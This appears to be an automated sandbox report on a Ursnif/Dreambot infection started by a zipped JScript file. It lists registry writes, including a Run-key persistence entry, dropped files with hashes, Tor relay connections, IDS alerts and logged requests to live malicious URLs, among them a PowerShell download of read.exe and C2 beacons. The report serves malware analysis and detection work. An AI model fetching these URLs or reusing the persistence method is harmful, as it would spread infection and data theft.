c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll

Registry activity

Total events
797
Read events
689
Write events
108
Delete events
0

Modification events

PID
Process
Operation
Key
Name
Value
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.zip\OpenWithList
a
WinRAR.exe
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.zip\OpenWithList
MRUList
a
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
Client
EA0300001C800000BCA451664B95D761A6CDC887DDC78EA900000000000000000000000000000000
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
bderplua
C:\Users\admin\AppData\Roaming\Microsoft\Devivmgr\crypptsp.exe
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
{1B42BE8A-BE10-0581-A07F-D209D423264D}
12C17DCA2EF3D401
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
EnableSPDY3_0
0
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
{48B27AF1-07B1-BABA-D1FC-2B8E95F08FA2}
1229422C37F3D401
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
Client
EA0300003C800000BCA451664B95D761A6CDC887DDC78EA900000000000000000000000000000000
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
Client
EA0300003C810000BCA451664B95D761A6CDC887DDC78EA900000000000000000000000000000000
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
Client
EA0300003C810100BCA451664B95D761A6CDC887DDC78EA900000000000000000000000000000000
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\IAM
Server ID
2
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB\Files
44A7ADF8224BA74E0E
D44BFD74F60120013C4981764E0538059C45917DCE1758121C68D1514E7F58641CD4D1F04F8F59001E64D37C48EF5FC81644DBDC5F4F4AA82704EDDC184F01A8F20468DCA44E05A8660494DE1449FDA8860F54D15252
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
LastTask
8E3419EB00000000
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
{48B27AF1-07B1-BABA-D1FC-2B8E95F08FA2}
24BEF92C37F3D401
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB\Files
92C2A11419EDF44B0E
D44BFD74F60120013C4981764E0538059C45917DCE1758121C68D1514E7F58641CD4D1F04F8F59001E64D37C48EF5FC81644DBDC5F4F4AA82704EDDC184F01A8F20468DC604FF5A99205BCDCE048D5AA720E7CD35252
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB
TorClient
D43F31DE4BE17167FAA0DB783C0D941962489345235E0226C7A23A62F8B5E773281ED68FAA888F433F2252
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\JvaENE\JvaENE.rkr
000000000000000000000000FB820000000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BFFFFFFFFF000000000000000000000000
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
HRZR_PGYFRFFVBA
000000000400000003000000920601000200000002000000724300004D006900630072006F0073006F00660074002E004100750074006F00470065006E006500720061007400650064002E007B00310035003900360032003100370035002D0037004400460043002D0042003100440037002D0042003000440031002D004500420034004300300038004600460044003700350034007D000000120200000000CC0B120200000000CC0B12020400050005001F02280C12020800050005001F026CE71F020100000154001F0200000100B8139D75444812020C0003000300000000000500280C12020000000005000000CC0B120201000000C8E91F02C0E91F0200000000C8FDDE02C0FCDE0244E71F023DA9457600000000FBFFFF7F68E71F02987880574F8C6244BB6371042380B1090000000001100211FFFFFFFF00000000000000000000000035EE190651EE190635EE1906000000000000000000000000080000002E006C006E006B0000005300630068006500640075006C00650072002E006C006E006B00000014000000140050000000070000000200060026030200A5863C750800000064021400E72F1B77B5863C753F030000CC04140000001400A86D150011000000B8451700B045170005000000F8F3DD0270E80000F28635BB20E81F028291457670E81F0224E81F022795457600000000ECD2DD024CE81F02CD944576ECD2DD02F8E81F0260CEDD02E19445760000000060CEDD02F8E81F0254E81F020200000002000000724300004D006900630072006F0073006F00660074002E004100750074006F00470065006E006500720061007400650064002E007B00310035003900360032003100370035002D0037004400460043002D0042003100440037002D0042003000440031002D004500420034004300300038004600460044003700350034007D000000120200000000CC0B120200000000CC0B12020400050005001F02280C12020800050005001F026CE71F020100000154001F0200000100B8139D75444812020C0003000300000000000500280C12020000000005000000CC0B120201000000C8E91F02C0E91F0200000000C8FDDE02C0FCDE0244E71F023DA9457600000000FBFFFF7F68E71F02987880574F8C6244BB6371042380B1090000000001100211FFFFFFFF00000000000000000000000035EE190651EE190635EE1906000000000000000000000000080000002E006C006E006B0000005300630068006500640075006C00650072002E006C006E006B00000014000000140050000000070000000200060026030200A5863C750800000064021400E72F1B77B5863C753F030000CC04140000001400A86D150011000000B8451700B045170005000000F8F3DD0270E80000F28635BB20E81F028291457670E81F0224E81F022795457600000000ECD2DD024CE81F02CD944576ECD2DD02F8E81F0260CEDD02E19445760000000060CEDD02F8E81F0254E81F020200000002000000724300004D006900630072006F0073006F00660074002E004100750074006F00470065006E006500720061007400650064002E007B00310035003900360032003100370035002D0037004400460043002D0042003100440037002D0042003000440031002D004500420034004300300038004600460044003700350034007D000000120200000000CC0B120200000000CC0B12020400050005001F02280C12020800050005001F026CE71F020100000154001F0200000100B8139D75444812020C0003000300000000000500280C12020000000005000000CC0B120201000000C8E91F02C0E91F0200000000C8FDDE02C0FCDE0244E71F023DA9457600000000FBFFFF7F68E71F02987880574F8C6244BB6371042380B1090000000001100211FFFFFFFF00000000000000000000000035EE190651EE190635EE1906000000000000000000000000080000002E006C006E006B0000005300630068006500640075006C00650072002E006C006E006B00000014000000140050000000070000000200060026030200A5863C750800000064021400E72F1B77B5863C753F030000CC04140000001400A86D150011000000B8451700B045170005000000F8F3DD0270E80000F28635BB20E81F028291457670E81F0224E81F022795457600000000ECD2DD024CE81F02CD944576ECD2DD02F8E81F0260CEDD02E19445760000000060CEDD02F8E81F0254E81F02
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\JvaENE\JvaENE.rkr
000000000000000001000000FB820000000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BFFFFFFFFF000000000000000000000000
2036
explorer.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
HRZR_PGYFRFFVBA
000000000400000004000000920601000200000002000000724300004D006900630072006F0073006F00660074002E004100750074006F00470065006E006500720061007400650064002E007B00310035003900360032003100370035002D0037004400460043002D0042003100440037002D0042003000440031002D004500420034004300300038004600460044003700350034007D000000120200000000CC0B120200000000CC0B12020400050005001F02280C12020800050005001F026CE71F020100000154001F0200000100B8139D75444812020C0003000300000000000500280C12020000000005000000CC0B120201000000C8E91F02C0E91F0200000000C8FDDE02C0FCDE0244E71F023DA9457600000000FBFFFF7F68E71F02987880574F8C6244BB6371042380B1090000000001100211FFFFFFFF00000000000000000000000035EE190651EE190635EE1906000000000000000000000000080000002E006C006E006B0000005300630068006500640075006C00650072002E006C006E006B00000014000000140050000000070000000200060026030200A5863C750800000064021400E72F1B77B5863C753F030000CC04140000001400A86D150011000000B8451700B045170005000000F8F3DD0270E80000F28635BB20E81F028291457670E81F0224E81F022795457600000000ECD2DD024CE81F02CD944576ECD2DD02F8E81F0260CEDD02E19445760000000060CEDD02F8E81F0254E81F020200000002000000724300004D006900630072006F0073006F00660074002E004100750074006F00470065006E006500720061007400650064002E007B00310035003900360032003100370035002D0037004400460043002D0042003100440037002D0042003000440031002D004500420034004300300038004600460044003700350034007D000000120200000000CC0B120200000000CC0B12020400050005001F02280C12020800050005001F026CE71F020100000154001F0200000100B8139D75444812020C0003000300000000000500280C12020000000005000000CC0B120201000000C8E91F02C0E91F0200000000C8FDDE02C0FCDE0244E71F023DA9457600000000FBFFFF7F68E71F02987880574F8C6244BB6371042380B1090000000001100211FFFFFFFF00000000000000000000000035EE190651EE190635EE1906000000000000000000000000080000002E006C006E006B0000005300630068006500640075006C00650072002E006C006E006B00000014000000140050000000070000000200060026030200A5863C750800000064021400E72F1B77B5863C753F030000CC04140000001400A86D150011000000B8451700B045170005000000F8F3DD0270E80000F28635BB20E81F028291457670E81F0224E81F022795457600000000ECD2DD024CE81F02CD944576ECD2DD02F8E81F0260CEDD02E19445760000000060CEDD02F8E81F0254E81F020200000002000000724300004D006900630072006F0073006F00660074002E004100750074006F00470065006E006500720061007400650064002E007B00310035003900360032003100370035002D0037004400460043002D0042003100440037002D0042003000440031002D004500420034004300300038004600460044003700350034007D000000120200000000CC0B120200000000CC0B12020400050005001F02280C12020800050005001F026CE71F020100000154001F0200000100B8139D75444812020C0003000300000000000500280C12020000000005000000CC0B120201000000C8E91F02C0E91F0200000000C8FDDE02C0FCDE0244E71F023DA9457600000000FBFFFF7F68E71F02987880574F8C6244BB6371042380B1090000000001100211FFFFFFFF00000000000000000000000035EE190651EE190635EE1906000000000000000000000000080000002E006C006E006B0000005300630068006500640075006C00650072002E006C006E006B00000014000000140050000000070000000200060026030200A5863C750800000064021400E72F1B77B5863C753F030000CC04140000001400A86D150011000000B8451700B045170005000000F8F3DD0270E80000F28635BB20E81F028291457670E81F0224E81F022795457600000000ECD2DD024CE81F02CD944576ECD2DD02F8E81F0260CEDD02E19445760000000060CEDD02F8E81F0254E81F02
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
ShellExtBMP
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
ShellExtIcon
2604
WinRAR.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
LanguageList
en-US
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
0
C:\Users\admin\AppData\Local\Temp\newdoocument.doc.zip
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
name
120
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
size
80
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
type
120
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
mtime
100
2604
WinRAR.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
@C:\Windows\System32\wshext.dll,-4804
JScript Script File
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
2604
WinRAR.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
2348
WScript.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
2348
WScript.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
2184
powershell.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
LanguageList
en-US
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
0
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
0
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
4294901760
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
4294901760
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
1048576
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
%windir%\tracing
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
0
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
0
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
4294901760
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
4294901760
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
1048576
2184
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
%windir%\tracing

Files activity

Executable files
1
Suspicious files
5
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
2184
powershell.exe
C:\Users\admin\AppData\Local\TempoZg18.exe
executable
MD5: ea4907a6ac5ae8ccbc11ca8b5726f101
SHA256: f5a5e7d86c3131b3f0a479fa55f35f8fa7c0ea7615b244752f96071156982071
2604
WinRAR.exe
C:\Users\admin\AppData\Local\Temp\Rar$DIa2604.2040\newdoocument.doc.js
text
MD5: ebbd0e1c1003a606f7767f87ca468bd0
SHA256: 43bb25b251979bbc5c818e173b2b5f9f5c1cf5da17dda785f8c4d0974aff0f75
2036
explorer.exe
C:\Users\admin\AppData\Roaming\cached-certs.tmp
––
MD5:  ––
SHA256:  ––
2036
explorer.exe
C:\Users\admin\AppData\Roaming\unverified-microdesc-consensus.tmp
––
MD5:  ––
SHA256:  ––
2036
explorer.exe
C:\Users\admin\AppData\Roaming\state.tmp
––
MD5:  ––
SHA256:  ––
2036
explorer.exe
C:\Users\admin\AppData\Roaming\Microsoft\{0C54D90B-FBFF-1EF5-E500-5F32E9340386}
text
MD5: b1c05b642fa0baf5a80fb48cffb1ef1d
SHA256: 6b5b3920c29bc04580ca546c00e626e334e1380b554f1acc1ab6130c66d090c2
2036
explorer.exe
C:\Users\admin\AppData\Local\Temp\DA74.tmp
binary
MD5: 15ba30ca992cca8134837e528ce684d3
SHA256: 308741826d392258999121372491a1081788a8358bbe54e77f3fa4672b2a3b74
2036
explorer.exe
C:\Users\admin\AppData\Local\Temp\E084.bin
compressed
MD5: 511b532d33ec7d71c14bf8db0d32c58c
SHA256: 8e02af1c0c32681bd073d0475fbf076c57c608dfef902bcad4beb90369803759
2036
explorer.exe
C:\Users\admin\AppData\Roaming\Microsoft\{0C54D90B-FBFF-1EF5-E500-5F32E9340386}
text
MD5: 0552996bfcd90e9cf0655440719f3b1d
SHA256: 046e6ab231f9a4ca118568f1390bd97dc54a21af6059d4965abc328950dffb14
2036
explorer.exe
C:\Users\admin\AppData\Local\Temp\CADB.bin
––
MD5:  ––
SHA256:  ––
2036
explorer.exe
C:\Users\admin\AppData\Local\Temp\9AC2.bin
compressed
MD5: 78dd4deaa1a1a119d10192ed85b5b6a0
SHA256: a1ffd8d65f15e608c4d025bdd67fdd3dc3ec739194912ba7adbe2169afd1d904
2036
explorer.exe
C:\Users\admin\AppData\Local\Temp\8519.bin
––
MD5:  ––
SHA256:  ––
3028
cmd.exe
C:\Users\admin\AppData\Local\Temp\D3D6.bi1
––
MD5:  ––
SHA256:  ––
3556
cmd.exe
C:\Users\admin\AppData\Local\Temp\D3D6.bi1
––
MD5:  ––
SHA256:  ––
2036
explorer.exe
C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\prefs.js
text
MD5: b99a14dd4819d1ae8bed40fa744929d4
SHA256: 4bafb432100e622b0988c72eb504005a7b746aefe7d876f95b6b9bda40d63182
3648
TempoZg18.exe
C:\Users\admin\AppData\Roaming\Microsoft\Devivmgr\crypptsp.exe
––
MD5:  ––
SHA256:  ––
2036
explorer.exe
C:\Users\admin\AppData\Roaming\cached-microdescs.new
––
MD5:  ––
SHA256:  ––
2184
powershell.exe
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF107aee.TMP
binary
MD5: 16d0fd6e07266b2c15a9d7bc6623f506
SHA256: 833367dc50386d139010182cede41b4d055f8d463626ec4005652528b3e0871b
2184
powershell.exe
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
binary
MD5: 16d0fd6e07266b2c15a9d7bc6623f506
SHA256: 833367dc50386d139010182cede41b4d055f8d463626ec4005652528b3e0871b
2184
powershell.exe
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3F8NE51EUEIYXXERZ1J3.temp
––
MD5:  ––
SHA256:  ––
2036
explorer.exe
C:\Users\admin\AppData\Roaming\cached-microdesc-consensus.tmp
––
MD5:  ––
SHA256:  ––

Find more information of the staic content and download it at the full report

Network activity

HTTP(S) requests
5
TCP/UDP connections
84
DNS requests
8
Threats
140

HTTP requests

PID Process Method HTTP Code IP URL CN Type Size Reputation
2184 powershell.exe GET 200 91.201.175.46:80 http://instant-payments.ru/read.exe BG
executable
malicious
2036 explorer.exe GET 200 80.80.165.93:80 http://adonis-medicine.at/images/0a5GIEcLyhZAkP7/XTXaM207_2BEQIzrN7/sZO5keGxv/MXLwD27sl8KU1ocMQ1GE/Zryd_2FUpVTkucpUm68/ODoi_2BBSqUz0Uk1Ys1pWS/VTuk1xZX2BQjy/YcChJq7H/fPhrg_2FaqxMPKbwEqYBnyj/_2BajhgcEq/XTPldW7EpiAwNFsCR/tQ7jk_2BJdlE/8sPv5b5up/rCSWhIES/E.gif AL
binary
malicious
2036 explorer.exe GET 200 80.80.165.93:80 http://adonis-medicine.at/images/Bg9SWujYQj/ShpadoYSHw0f1YwAo/UPHOARMTjcli/1l3eE21iUKc/X8H_2Fh06VdT9_/2F_2Bh3W_2FSat2hvNg7S/7DSPSSHubvko_2Fl/5UmRt4txrvOb9lH/seoGCF7zf4n3fRLrwb/UHVlhktku/U3LVXGisDm0nJC1uC2ZA/Sw42HKmh6wKGD3wmLyi/8RUH8ynt_2Bj1S/dYBpHMTZ.avi AL
binary
malicious
2036 explorer.exe POST –– 80.80.165.93:80 http://adonis-medicine.at/images/Ca2O_2BdP_2FQi2_2B8/BbRDMWAioLgNW_2F4uvRjc/sqRYxzeyLsYh5/92PNJdNk/mzMVfb39S4YVNHIm6I03H4E/mLEPEFtE4e/NChjs5BCdNB1p4KXP/fnPrCIQlSRQ2/oIMuTEZJd2J/dxEupxY2QHaP7h/jUFahcYoIbnVjFqGIhRuN/GLtQWAiHoH5cWDYR/Q1ebuIzcUp5ebjX/8E2HcUAfNDVZXBF0/ogi8o.bmp AL
binary
––
––
malicious
2036 explorer.exe POST –– 80.80.165.93:80 http://adonis-medicine.at/images/uLvQiXLRKQvuIc5oTso6n/oUHG1O5vkX8jJiG_/2BGO0bgrv2Cooin/N30128HKYf4TAnFdv0/rR8EFrhuH/7Y9eyTHHFZo5_2FImtsY/3sSiOYV4TuzXgt3n_2F/YXIYxqsPrtRctF99XX9cXu/UrLqsHMQKGXSG/hH8Cn134/Pk1cfZIACZrSSsrDJ1y6O3Q/N2UJO555PG/rbir255yp72zbhSzo/0mbPyCW3/C.bmp AL
binary
––
––
malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID Process IP ASN CN Reputation
2184 powershell.exe 91.201.175.46:80 ET Satelit TM - Anton Simeonov BG malicious
2244 nslookup.exe 208.67.222.222:53 OpenDNS, LLC US suspicious
2036 explorer.exe 80.80.165.93:80 IPKO Telecommunications LLC AL suspicious
2036 explorer.exe 128.31.0.39:9101 Massachusetts Institute of Technology US suspicious
2036 explorer.exe 193.23.244.244:443 Chaos Computer Club e.V. DE suspicious
2036 explorer.exe 144.76.42.50:443 Hetzner Online GmbH DE suspicious
2036 explorer.exe 54.39.66.61:443 OVH SAS FR suspicious
2036 explorer.exe 195.201.150.180:443 Awanti Ltd. RU suspicious
2036 explorer.exe 193.70.43.20:443 OVH SAS FR suspicious
2036 explorer.exe 80.127.151.162:9001 Xs4all Internet BV NL suspicious
2036 explorer.exe 87.118.83.3:9001 Keyweb AG DE suspicious
2036 explorer.exe 178.238.225.88:9001 Contabo GmbH DE suspicious
2036 explorer.exe 188.68.38.54:9001 netcup GmbH DE suspicious
2036 explorer.exe 217.199.207.250:9001 iQom Business Services GmbH DE suspicious
2036 explorer.exe 5.9.9.18:9001 Hetzner Online GmbH DE suspicious
2036 explorer.exe 87.120.36.212:443 FOP Smirnov V'yacheslav Valentunovuch BG suspicious
2036 explorer.exe 217.182.198.95:443 OVH SAS DE suspicious
2036 explorer.exe 178.17.171.115:9001 I.C.S. Trabia-Network S.R.L. MD suspicious
2036 explorer.exe 194.55.13.50:9001 –– suspicious
2036 explorer.exe 51.15.73.133:9001 Online S.a.s. FR suspicious
2036 explorer.exe 145.239.255.86:9001 OVH SAS GB suspicious
2036 explorer.exe 51.15.126.70:9001 Online S.a.s. FR suspicious
2036 explorer.exe 81.173.112.100:9030 Profitbricks GmbH DE suspicious
2036 explorer.exe 109.70.100.13:443 Next Layer Telekommunikationsdienstleistungs- und Beratungs GmbH AT suspicious
2036 explorer.exe 195.128.103.196:9001 –– malicious
2036 explorer.exe 212.51.159.148:9001 Init7 (Switzerland) Ltd. CH suspicious
2036 explorer.exe 185.233.104.172:443 –– suspicious
2036 explorer.exe 62.210.177.181:8443 Online S.a.s. FR suspicious
2036 explorer.exe 51.15.81.148:9001 Online S.a.s. FR suspicious
2036 explorer.exe 91.186.8.150:443 Simply Transit Ltd GB suspicious
2036 explorer.exe 195.189.96.148:443 Collective Production Enterprise Yapic.Net RU suspicious
2036 explorer.exe 80.127.152.30:9001 Xs4all Internet BV NL suspicious
2036 explorer.exe 212.83.61.218:443 23media GmbH DE suspicious
2036 explorer.exe 92.32.115.58:9001 Telenor Norge AS SE suspicious
2036 explorer.exe 94.75.194.221:9001 LeaseWeb Netherlands B.V. NL suspicious
2036 explorer.exe 46.166.182.20:443 NForce Entertainment B.V. NL suspicious
2036 explorer.exe 217.160.141.52:8443 1&1 Internet SE DE suspicious
2036 explorer.exe 31.20.205.209:443 T-mobile Netherlands bv. NL suspicious
2036 explorer.exe 163.172.169.253:9001 Online S.a.s. FR suspicious
2036 explorer.exe 54.36.112.234:9001 OVH SAS FR suspicious
2036 explorer.exe 5.9.143.167:9001 Hetzner Online GmbH DE suspicious
2036 explorer.exe 176.31.229.76:9001 OVH SAS FR suspicious
2036 explorer.exe 145.239.6.188:9001 OVH SAS GB suspicious
2036 explorer.exe 5.135.181.213:9222 OVH SAS FR suspicious
2036 explorer.exe 62.4.12.84:443 Online S.a.s. FR suspicious
2036 explorer.exe 213.202.236.82:9001 myLoc managed IT AG DE suspicious
2036 explorer.exe 94.23.194.134:443 OVH SAS FR suspicious
2036 explorer.exe 134.119.32.208:9001 Host Europe GmbH DE suspicious
2036 explorer.exe 176.12.22.92:9001 Mobiltel Ead BG suspicious
2036 explorer.exe 51.15.74.130:9001 Online S.a.s. FR suspicious
2036 explorer.exe 89.163.128.33:443 myLoc managed IT AG DE suspicious
2036 explorer.exe 85.204.74.139:443 UAB Cherry Servers LT suspicious
2036 explorer.exe 188.68.33.224:9001 netcup GmbH DE suspicious
2036 explorer.exe 51.15.230.39:443 Online S.a.s. FR suspicious
2036 explorer.exe 134.102.200.101:9001 Verein zur Foerderung eines Deutschen Forschungsnetzes e.V. DE suspicious
2036 explorer.exe 188.138.33.149:443 Host Europe GmbH DE suspicious
2036 explorer.exe 212.237.210.8:9001 CH suspicious
2036 explorer.exe 192.52.167.70:443 QuadraNet, Inc US suspicious
2036 explorer.exe 136.243.247.90:443 Hetzner Online GmbH DE suspicious
2036 explorer.exe 46.4.105.166:443 Hetzner Online GmbH DE suspicious
2036 explorer.exe 51.15.185.201:443 Online S.a.s. FR suspicious
2036 explorer.exe 82.192.94.125:443 LeaseWeb Netherlands B.V. NL suspicious
2036 explorer.exe 95.154.194.110:9001 iomart Cloud Services Limited. GB suspicious
2036 explorer.exe 62.210.123.24:443 Online S.a.s. FR suspicious
2036 explorer.exe 217.182.198.80:443 OVH SAS DE suspicious
2036 explorer.exe 62.210.93.142:6916 Online S.a.s. FR suspicious
2036 explorer.exe 85.17.65.39:9001 LeaseWeb Netherlands B.V. NL suspicious
2036 explorer.exe 5.9.21.240:9001 Hetzner Online GmbH DE suspicious
2036 explorer.exe 178.254.19.101:443 EVANZO e-commerce GmbH DE suspicious
2036 explorer.exe 147.135.6.69:443 OVH SAS US suspicious
2036 explorer.exe 81.236.171.34:9001 Telia Company AB SE suspicious
2036 explorer.exe 80.209.230.87:9001 UAB Rakrejus LT suspicious
2036 explorer.exe 85.25.43.31:443 Host Europe GmbH DE suspicious
2036 explorer.exe 212.129.62.232:443 Online S.a.s. FR suspicious
2036 explorer.exe 193.108.117.59:9001 GlobalTeleHost Corp. DE suspicious
2036 explorer.exe 158.69.212.107:9001 OVH SAS CA suspicious
2036 explorer.exe 185.33.53.130:443 DoclerWeb Kft. HU suspicious
2036 explorer.exe 213.239.204.62:9001 Hetzner Online GmbH DE suspicious
2036 explorer.exe 79.172.193.32:9001 Deninet KFT HU suspicious

DNS requests

Domain IP Reputation
instant-payments.ru 91.201.175.46
62.73.70.146
89.45.19.18
186.87.135.97
181.39.233.180
196.20.111.10
84.54.187.24
80.80.165.93
86.101.230.109
194.204.25.137
malicious
11totalzaelooop11.club No response unknown
resolver1.opendns.com 208.67.222.222
shared
222.222.67.208.in-addr.arpa No response unknown
myip.opendns.com 185.217.117.168
shared
adonis-medicine.at 80.80.165.93
84.54.187.24
196.20.111.10
181.39.233.180
186.87.135.97
89.45.19.18
62.73.70.146
91.201.175.46
194.204.25.137
86.101.230.109
malicious

Threats

PID Process Class Message
2184 powershell.exe Potential Corporate Privacy Violation ET POLICY PE EXE or DLL Windows file download HTTP
2244 nslookup.exe Potential Corporate Privacy Violation ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup)
2244 nslookup.exe Potential Corporate Privacy Violation ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup)
2036 explorer.exe A Network Trojan was detected ET TROJAN Ursnif Variant CnC Beacon
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] W32.Dreambot HTTP
2036 explorer.exe Misc activity ET POLICY TLS possible TOR SSL traffic
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 278
2036 explorer.exe A Network Trojan was detected MALWARE [PTsecurity] Win32/Spy.Ursnif SSL TOR activity
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 147
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 534
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 280
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 289
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 655
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 364
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 604
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 150
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 364
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 506
2036 explorer.exe Misc Attack ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 264
